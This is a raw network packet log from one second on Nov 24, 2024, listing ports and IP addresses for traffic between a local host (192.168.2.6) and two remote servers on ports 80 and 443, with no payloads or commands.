Nov 24, 2024 00:06:24.797228098 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.797245026 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.797302961 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.797317028 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.797446966 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.797669888 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.797733068 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.797745943 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.797794104 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.797794104 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.798302889 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.798346043 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.798362017 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.798403978 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.799597979 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.799608946 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.799722910 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.800848961 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.800860882 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.800977945 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.802181959 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.802256107 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.802345037 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.802381039 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.803335905 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.803399086 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.803452015 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.803545952 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.804642916 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.804718018 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.804740906 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.804842949 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.805854082 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.805931091 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.805936098 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.806001902 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.807116032 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.807173014 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.807233095 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.807316065 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.808465958 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.808526039 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.808547020 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.808690071 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.809634924 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.809653997 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.809710026 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.809710026 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.810897112 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.811012983 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.811243057 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.812175035 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.812273979 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.812278986 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.812743902 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.812872887 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.812890053 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.812966108 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.812977076 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.813008070 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.813024044 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.813394070 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.813457966 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.813479900 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.813919067 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.814666033 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.814738035 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.815011978 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.815181971 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.815933943 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.816049099 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.816087961 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.816926956 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.817176104 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.817239046 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.817276955 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.817470074 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.818465948 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.818514109 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.818542004 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.818627119 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.819746971 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.819894075 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.819916964 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.819973946 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.820962906 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.821043015 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.821079969 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.821618080 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.822237015 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.822294950 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.822325945 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.822434902 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.823496103 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.823682070 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.823719025 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.823997021 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.824762106 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.824815035 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.824837923 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.824923038 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.825953007 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.826030970 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.831137896 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.831204891 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.831238985 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.831276894 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.831718922 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.831794024 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.831825972 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.831922054 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.832927942 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.832972050 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.833317995 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.834101915 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.834173918 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.834209919 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.835294008 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.835395098 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.835405111 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.835462093 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.836502075 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.836604118 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.836944103 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.837697983 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.837776899 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.837805986 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.840539932 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.846323013 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.846343040 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.846518040 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.846527100 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.846591949 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.848324060 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.848373890 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.848403931 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.848414898 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.848505020 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.848505020 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.858537912 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.858558893 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.858783007 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.858793974 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.858875990 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.860068083 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.860114098 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.860184908 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.860184908 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.860194921 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.860307932 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.868211031 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.868233919 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.868303061 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.868311882 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.868469000 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.869471073 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.869513035 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.869560003 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.869579077 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.869615078 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.869694948 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.879019976 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.879036903 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.879133940 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.879143000 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.879251957 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.879982948 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.880024910 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.880069971 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.880081892 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.880151033 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.880151033 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.889678955 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.889694929 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.889875889 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.889883995 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.889950037 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.890291929 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.890340090 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.890386105 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.890397072 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.890430927 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.890678883 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.894787073 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.894812107 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.894939899 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.894939899 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.894948959 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.895047903 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.896533012 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.896549940 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.896671057 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.896671057 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.896687031 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.896744013 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.899702072 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.899718046 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.899915934 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.899923086 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.900043011 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.900083065 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.900126934 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.900187016 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.900187016 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.900201082 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.900403976 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.906953096 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.906970024 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.907147884 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.907160044 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.907294989 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.907301903 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.907334089 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.907397985 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.907397985 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.907406092 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.907644987 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.910368919 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.910410881 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.910448074 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.910465002 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.910501003 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.910515070 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.910540104 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.910542011 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.910550117 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.910582066 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.911943913 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.917123079 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.917172909 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.917233944 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.917233944 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.917464972 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.917485952 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.917572975 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.917572975 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.917579889 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.917632103 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.917762995 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.917777061 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.917912960 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.918298960 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.918314934 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.918478966 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.918490887 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.918625116 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.918919086 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.919014931 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.919050932 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.919133902 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.919305086 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.919365883 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.919408083 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.919418097 CET	443	49730	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.919492960 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.919552088 CET	49730	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.919866085 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.919914961 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.919946909 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.919958115 CET	443	49729	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.919991016 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.920006037 CET	49729	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.920131922 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.920197964 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.920469046 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.921349049 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.921355963 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.921519995 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.922578096 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.922585011 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.922715902 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.923717976 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.923842907 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.923898935 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.923898935 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.924909115 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.924945116 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.924989939 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.925085068 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.926146984 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.926202059 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.926258087 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.927337885 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.927398920 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.927402020 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.927706003 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.928530931 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.928601980 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.928637028 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.928740025 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.928761959 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.928781986 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.928828955 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.928836107 CET	443	49731	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.928864002 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.928900957 CET	49731	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.929402113 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.929418087 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.929485083 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.929497004 CET	443	49727	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.929536104 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.929577112 CET	49727	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.929717064 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.929771900 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.929883003 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.930088997 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.930902004 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.930960894 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.930970907 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.931044102 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.932133913 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.932207108 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.932245970 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.932344913 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.933316946 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.933372021 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.933382988 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.933427095 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.934539080 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.934601068 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.934643030 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.934717894 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.935700893 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.935723066 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.935831070 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.936901093 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.936969042 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.937015057 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.937042952 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.938086987 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.938088894 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.938113928 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.938114882 CET	80	49720	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:24.938199997 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.938211918 CET	443	49728	150.171.27.10	192.168.2.6
Nov 24, 2024 00:06:24.938225031 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.938225031 CET	49720	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:24.938294888 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.938294888 CET	49728	443	192.168.2.6	150.171.27.10
Nov 24, 2024 00:06:24.939033031 CET	443	49727	150.171.27.10	192.168.2.6
